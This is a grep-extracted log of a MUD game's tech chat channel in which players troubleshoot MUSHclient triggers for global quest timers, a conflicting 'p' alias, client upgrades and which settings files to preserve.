T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you can always sudo manipulate the /var/at/jobs directory...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: shell account, no root :(
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: can you think of a better way to accomplish what i'm trying to do?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: I don't quite understand what you're trying to do, what sort of a delay are you trying to make? I use my in-client /repeat and /at for anything I need
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: just wanted to express my sincerest gratitude to everyone who encouraged me to use the mapper instead of setting up aliases like i would have in the past
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: my gaming experience, as a result, has been soooo much better
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Abe: I want a gq timer/alert that runs even when I close my client to swap characters.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: a GQ timer is less than useless when you're not logged in
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I'd be logged in on my alt.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: so leave it in-client
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I have to close client to swap chars.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: and? you don't keep any statuses or variables between sessions?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I keep static variabls
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: no such thing...those are constants
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Yes, then I keep constants.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: amazing that you have no variables :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: write the timestamp of last GQ event to variable...on load, make your timer based on that in-file variable
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but even if you continued to use "at" from shell, why would you need to delete...you can't have had a GQ called before the next GQ call, so the time would've already passed for the at command...what is the purpose of deleting?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Because the multiple gq end messages cause the delays to pile up. This is due to the extra time messages and then completions or not afterward.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: huh?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: only make the delay on the real one
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: there are explicit messages when a gq ends
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: extra time shouldn't affect that
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: It changes the time until next gq
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: no it doesn't
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ophelion Tech: the extra time affects when the next gq starts or else winkle's tick timer wouldn't get thrown off the gq times.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: You can't just set a timer based off the "has been won by" message. There could be extra time, and then there could be completions in that extra time.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: You bury your face in your hand and sigh.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: So the delay has to reset itself on those follow up messages.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: when did i say to set a timer based on the "has been won by" message?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: no it doesn't
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: i said there are explicit messages when a gq ends, whether or not it's in extra time
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zetkax Tech: there is a message when the gq is over in addition to who won it
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Chroseph Tech: Ixle, so are you thinking gq timers are somehow based on real time rather than the time in between actual start and actual end of the gquest?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: No, I'm saying there are multiple messages that could mean the global quest is actually over.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: correct
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: why is that a problem? make multiple triggers
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Just because someone wins now doesn't mean it's over and a timer should be started.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but there is never a question of which one means the GQ is over
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: i understand that
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: trig off the note post message for when the GQ is over
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: so if it isn't over, don't start the timer
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: That's not a bad idea Abe
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: there's a clear message that says when it goes into extra time
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: if you see that, don't start a timer
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I've been setting a delay on the "has been won" message, and the resetting that delay on the other possible messages if they appear.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: no need to do that, and that solves your at issue :-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Yes, I agree Abe, that'd be a simpler way around it.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: nod, the notes method works if you want to sub to the board, but it's by no means necessary
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: it's an easy 1-trig method with no logic required :-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: But, the way I was doing it you both understand why there needed to be multiple trigs that reset the delay right? Seemed like you thought I was crazy :p
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Made sense to me, just not how I would suggest doing it :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: sure, you were just doing it a strange way :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: of course I sub the board simply to capture it to file, so it'd make no difference to me...without it, you'd need to create a trig that counts ticks to know when 3 minutes have passed, etc
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: see, there's the message right now... Global Quest: The global quest will go into extended time for 3 more minutes.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: if you see that, don't start a timer, cause you know it's in extended time
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Right Celanil, but that message doesn't always appear. So there needs to be a trig on the previous line too.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but you must start a timer or counter
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Which means the timer was already started
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: well, don't start it in the "has won" trigger
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: You have to to catch them all
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: start it on a ""
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Some gq's end with only that message.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: your "has won" trigger should enable a second trigger, that matches any line
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: in that trigger, check if the line is the extended time message, if it isn't, start the timer
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: 3 possible endings...first-win...last-extra-win, and tick after 3 mins
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: not overly complicated
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but because of tick after 3 mins, you do need either an increment trig or a timer
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I don't like having actions that match any pattern. Since tt is picky about only matching 1 trigger at a time it could lead to trouble.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: or match on new post which works 100% of the time ;-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: is there no message on global chan when it ends?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Hanali Celanil Tech: hmm, thought there was
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Actually there's another possible ending, which is a no-win.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: couldn't you just have a gq history and gq check populate your timer?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: true, but that one hasn't changed with the extension
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: sorry, gq ranges, not check
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: trig patterns necessary if not using the note are Global Quest: The global quest has been won by Foo - Numbered win., Global Quest: No active players remaining, global quest is now over., and tick after 3 mins
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Yep, was using all those and just resetting the delay seemed the simplest solution.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Works great so long as I don't close client.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: just don't set delay on the first one and you're good
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: have that one set two triggers, one on the extra time and one on blank line
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: i guess i'm confused as to why you want to know exactly when other gq's start, but i'm sure you have your reasons :D
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: whichever one fires first "wins" the determination of whether or not to start the delay
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: so he's not on the crapper, just in case
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Scars Tech: lol
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: laptops ;)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: (only half joking ;-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I also like to watch for gq's that are a level above me
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or even 2, if it's lowbie
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: zibest!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Abe that system would work but will still cause multiple at jobs if I try to go back that route.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: no it wouldn't
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you'd only be starting the job at the right time
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Ixle goes, "Hmmmm."
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: trig on the win message (set variable started_at=0) to look for the existence of extra time...if no extra time, do at (started_at=1)...trig on no active players, do at (started_at=1)...trig on tick after 3 mins, do at (started_at=1)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: checking for the started_at variable ensures you're not duplicating it for that 3-minute tick after it's ended another way
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I think I got it now. Thanks for all the help.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: any windows 8 super-users on?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: depennds on what you mean by super-user
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Turie Tech: Windows 8 is a bust.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes it sucks
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: bring back win 3.11!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: familiarity with Hyper-V
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: bring back win xp
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Turie Tech: No, Windows 3.10
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: 3.11 for workgroups!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Fatal FrostBite Tech: What's Windows XP?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Jangel Tech: Linux pls :)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: There goes Fatal FrostBite giggling again, and this time he's looking towards [Outlaw] Remarto.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: punch cards!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: what was that MS DOS program in 6.22 that had like text windows?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Fatal FrostBite shrugs helplessly.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Doink Tech: Anyone recall the S&D Gui reset command, thought it was. Xset gui reset, doesnt seem to work though
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: why do i randomly try to wear something without even pressing a key? all i have are a few alias set...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: botting
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: how am i botting
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Elchanan screams loudly!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: i dont even know how
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Elchanan is placing around a lot of huge bot traps with 35.princesses as bait!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: by doing things automatically without knowing why
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto screams loudly at Zimzar.  Better leave before [Outlaw] Remarto blames you, too!!!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: what?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you said
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: all i know how to do is assign alias's, i know nothing at all about botting
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: allegedly
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: this problem started a few months ago
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Doink Tech: Beat your bot like you beat your meat!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: what aliases do you have?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and you're just asking about it now?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: botting
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Jhav Tech: boton, botoff, the usual
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: when you started writing big aliases?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: its been buggin me, i've asked about it before ithink
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: i just got simple alias's
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: like to cast a spell with one button
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or to clear an area with one button
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Endtime Tech: or clear wyrm with one button
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish enthusiastically high-fives Endtime!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: let me guess, you aliased p to something, or something like that?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: oh i have 2 alias's to change from weapon to portal
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Doink Tech: Weak sauce, I use to do a 1 Tier with 1 Button!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Redryn Tech: does it happen when fighting a mob? some stuff is scripted to do that
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: actually i think p is my portal yes!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Endtime goes ooOOooOOoo at Doink.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lol p
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: jesus
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that was fixed veeerry recently
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: no mainly just when i'm not doin much it just randomly happens
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: temporarily don't alias p
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: now it just said your race does not ahave a data wear location.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: You giggle.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: thanks i'll unalias p and see if that work
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: p data *sigh*
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: that's because "p data" is a way to see what your prompt is set to
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the new version uses the full "prompt data" command
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: thanks alot guys
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: a lot*
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: who uses prompts? so v2
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: Don't make fun of me using prompts.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: i use it cause i'm a newb, its convienent for me
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you update to snapshot r1748 of the mushclient package this problem will go away
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: there's a stock plugin which checks your prompt to ensure it ends in %c, and it sends "p data" to do that check (as Fiendish says, the new version is more specific)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/downloads/
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: thanks fiendish
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: most people still use prompts
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I still use prompts
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zetkax Tech: how do i find out what my current version is?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: there's some data which is best represented by the prompt
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: type 'checkversion' 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ranrr Tech: I have a 2 line "prompt"
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but since you are having this problem you can know that you don't have the latest snapshot
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: MUSHclient Package version: r1557
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: <-- no prompt
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: You giggle in his presence.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: Bots don't need prompts
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: RedRain jumps up onto a table and shrieks 'EEEEEEEK!'
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zimzar Tech: thanks again, gonna log out and get the new one
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: was wondering... is there a way to set a weighting of some sort of custom exits/portals in newer versions so that you do get the fastest path? Haven't updated in a long time...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: huh?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: it calculates the fastest path
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all connections get unit weight
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: He's talking about room move costs
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: room move cost doesn't change speed
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: some portals take more than one action
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: some situations make raising a room move cost needed
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: not really
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: at the very least it'd be wear portal, enter, so that's two...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: 2 pulses > 1
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zetkax Tech: is there some easy way to upgrade or do i have to extract a .zip into a directory manually?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: that's already known
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the answer is no. a proper cost based calculation would, I think, be on average slower to complete and much more complicated to implement
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: Actually, before I decide to update the client, I want to know if I should let it install where it wants, or if there's a better spot for it.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: and custom exit already trumps walk
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: yeah... I was thinking it'd be a lot of work...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: there is no installer for it, draris
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: it's a zipfile that you unzip wherever you want it
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: the only thing I'd suggest is to not put it into program files
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: >_> Yeah, I put it there. where is a better place?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for my sanity please limit the bounds of "wherever you want it" as abelinc suggests
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: and unzip it separately from where you currently have it, keeping both until you're happy
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you use Windows Vista or later, Program Files is off limits unless you disable UAC 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: personally, I put it on my desktop, and renamed the old one to mushclient old
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or customize it in a way that I don't need to explain because you already know
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: but I suppose if you hate desktop clutter, then that's not ggod
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: UAC...I think I need to murder that.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have mine in my documents folder
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: desktop for me
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: Ok, I'll put it where it wants to install by default. Which is my desktop.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: c:\mushclient, my docs, etc...you can put a shortcut in your start menu if you want (but you'd need to update that as you update MUSH packages)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: heh, it doesn't want to install anywhere by default...your web browser has a default download location
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: do you actually have to update a windows shortcut if the exe changes instance?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: I like to dump stuff on my desktop. When it gets too messy I put stuff in overflowfolder1,2, etc. Still looks like a mess, but...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Jhav Tech: No
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I thought it just pointed at address
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Jhav Tech: Only if the actual filepath changes
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Draris Tech: Let me believe that Mush knows best Abel. >_>
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but new download is a different exe location
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unless you replace the old one
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: mush would know best...but the mush package doesn't have any knowledge whatsoever draris...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I call that combat pingpong.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mis
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: it didn't have anything to do with choosing the desktop...that was your web browser, not mush
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's kind of weird. this is the second report of someone aliasing p very recently, and the p data thing happened a long time ago.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: get them to alias _p 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Rusk looks around and whistles innocently.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: alias your face
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the new version uses the full prompt data command. it just would have been fixed a long time ago if anyone had been aliasing p at the time
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ophelion Tech: i had a problem with my aliases also, found out it was bast eqdb plugin.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: well i never had the problem, but i updated onlly last week...first time in over a year
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ranrr Tech: most people don't upgrade stuff unless they have a problem
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's true
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wish everyone were as compulsive about upgrading as I am
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: 1557 here ... and plays jsut fine
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: which is why once you have a tiny bug, you'll be bugged about it long after you patched it...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I have lots of tiny bugs
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Bast Tech: Fiendish: I do an "svn update" just before I open mush
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: microsoft taught us all never to upgrade straight away. wait 6 months  for bugs to get ironed out
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you get a bit more notice than everyone else about the updates tho ;-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ophelion Tech: my academy portal was set to go into my aard bag but went into my satc for some odd reason.. i didn't set anything in the eqdb plugin but once i uninstalled it, my alias worked just fine.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: my version is so old it still sends that empty run thing when running with the mapper...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are a few really good changes between 1557 and 1748
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: empty run thing?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Sonshi Tech: like run, then some other command, etc. Fixed a long time ago. I've been telling myself that I ought to upgrade it for months...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zetkax Tech: i just tried to upgrade from an older version of mush to the latest and it didnt keep my settings - i have put back a backup - found the instructions on the website on how to upgrade but there are many many things to copy - is there a simpler way to copy over old settings and db?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish goes, "Hmmmm."
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: there aren't many things to copy, it just looks like there are
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are only three files and a folder to keep. mushclient_prefs.sqlite, Aardwolf.db, worlds/Aardwolf.mcl, and worlds/plugins/state
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Zetkax Tech: k, ill try again
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: and then any 3rd party plugins, although Bast's are all a single folder which covers most in one go
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: If you are using Bast you should check the Logs folder for his db
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: ooh, good catch...not sure why he chose there for that, it's counterintuitive :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what does bast's db keep that matters across instances?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: stats - quests/cps/gqs/levels/pups done and timeframes
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: quest stats are silly
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: your equipment
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Hardly - average times and rewards are a nice metric to have
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: quest rewards converge on calculable limits
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: heh, you may consider them silly, but they're the entire reason to have some of his plugins loaded :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: average times converge on calculable limits?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: rewards
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: average times are just unimportant
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: rewards weren't mentioned :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Bast Tech: Also, you can tell things like how many qp you can't per remort, or how many gqs you won over a tier
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vakieh Tech: Hardly - average times and rewards
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Bast Tech: can't=got
